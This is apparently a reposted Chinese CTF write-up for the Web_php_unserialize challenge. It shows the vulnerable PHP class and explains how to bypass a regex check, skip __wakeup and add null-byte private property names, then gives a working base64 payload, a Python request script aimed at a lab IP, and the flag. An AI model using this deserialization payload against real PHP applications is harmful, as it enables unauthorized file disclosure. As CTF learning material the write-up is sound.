目录

【web | CTF】攻防世界 Web_php_unserialize

天命:这条反序列化题目也是比较特别,里面的漏洞知识点,在现在的php都被修复了

天命:而且这次反序列化的字符串数量跟其他题目不一样

php 复制代码
 <?php 
class Demo { 

    // 初始化给变量内容,也就是当前文件,高亮显示出来
    private $file = 'index.php';

    // 初始化触发函数:把我们输入的东西放入属性变量里,就是我们反序列化的时候输入的东西
    public function __construct($file) { 
        $this->file = $file; 
    }

    // 销毁时候触发,相当于是打印flag文件出来
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }

    // 这个方法不会触发,估计是旧版本的php,满足某些情况所以没有触发
    // 纯碎用来吓人,我还研究了一晚上如何让  fl4g.php == index.php
    // fl4g.php == index.php,就算是弱比较也是不可能相等的
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php  // 直接访问是空气
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    
    // 即是重点,也是难点,更是无用的点
    // 现在版本的php都已经修复了
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

坑点:__wakeup函数可以忽略,根本不会触发,

麻痹研究了我一晚上如何才能让 fl4g.php == index.php

最后结论:就算是弱比较,也不可能相等,没有其他办法

所以只需要绕过正则表达式即可,不会正则表达式自己去学习

既不简单,也不难,我也学了几天才算比较掌握

【绕过点一】绕过正则,在O:4: 改成 O:+4: 就可以了

多一个+号(具体原理也不清楚,反正当是刷经验了,上古版本的php才有的漏洞)
【绕过点二】绕过 __wakeup函数,把反序列化中的内容数量,从1改成2即可

至少很大概率是这样绕过,看别人wp讲的

大概意思应该是当反序列化的 属性变量数 大于 当前类的属性变量数 的时候,就什么安全性因素,就不触发
【绕过点三】加上\00

变量名:Demofile 变成 \00Demo\00, 字符个数+2就行:s:10:"\00Demo\00file"

这里可能是因为 private 的原因,所以是+2

其他题目是protected,就是+3

也不确定是不是肯定,做的反序列化题目还不够多
【最终改变】

O:4:"Demo":1:{s:10:"Demofile";s:3:"aaa";}

O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}

写上测试脚本

python 复制代码
import requests,base64

# 两个payload都可以
str = 'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
str = 'O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}'

# 编码
base64_str = base64.b64encode(str.encode('utf-8')).decode('utf-8')

# 发送请求
res = requests.get('http://61.147.171.105:56675?var='+base64_str)
if "flag" in res.text:
    print("成功了")

base64:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

本文是转载文章,点击查看原文
如有侵权,请联系 xyy@jishuzhan.net 删除
相关推荐
进阶的小木桩19 分钟前
VSTO幻灯片退出播放(C#模拟键盘鼠标的事件)
开发语言·c#·计算机外设
代码程序猿RIP32 分钟前
C++(22)—内存管理
开发语言·数据结构·c++·算法
灏瀚星空40 分钟前
AI 模型高效化:推理加速与训练优化的技术原理与理论解析
开发语言·人工智能·深度学习·程序人生·机器人·智慧城市·量子计算
孞㐑¥44 分钟前
C++之哈希
开发语言·c++·经验分享·笔记
勇敢牛牛_1 小时前
【Rust基础】crossbeam带来的阻塞问题
开发语言·笔记·rust
东雁西飞1 小时前
MATLAB 控制系统设计与仿真 - 34
开发语言·单片机·算法·matlab·工业机器人
奇树谦1 小时前
C/C++语言常见问题-智能指针、多态原理
c语言·开发语言·c++
桃子叔叔2 小时前
python学习从0到专家(8)容器之列表、元组、字典、集合、字符串小结
开发语言·python·学习
溟洵2 小时前
【C++ Qt】Hello World、初始信号槽、理解对象树 ~~~(通俗易懂 图文并茂)
开发语言·c++·qt
m0_726965982 小时前
Java Bean演进历程:从POJO到Spring Boot配置绑定
java·开发语言·spring boot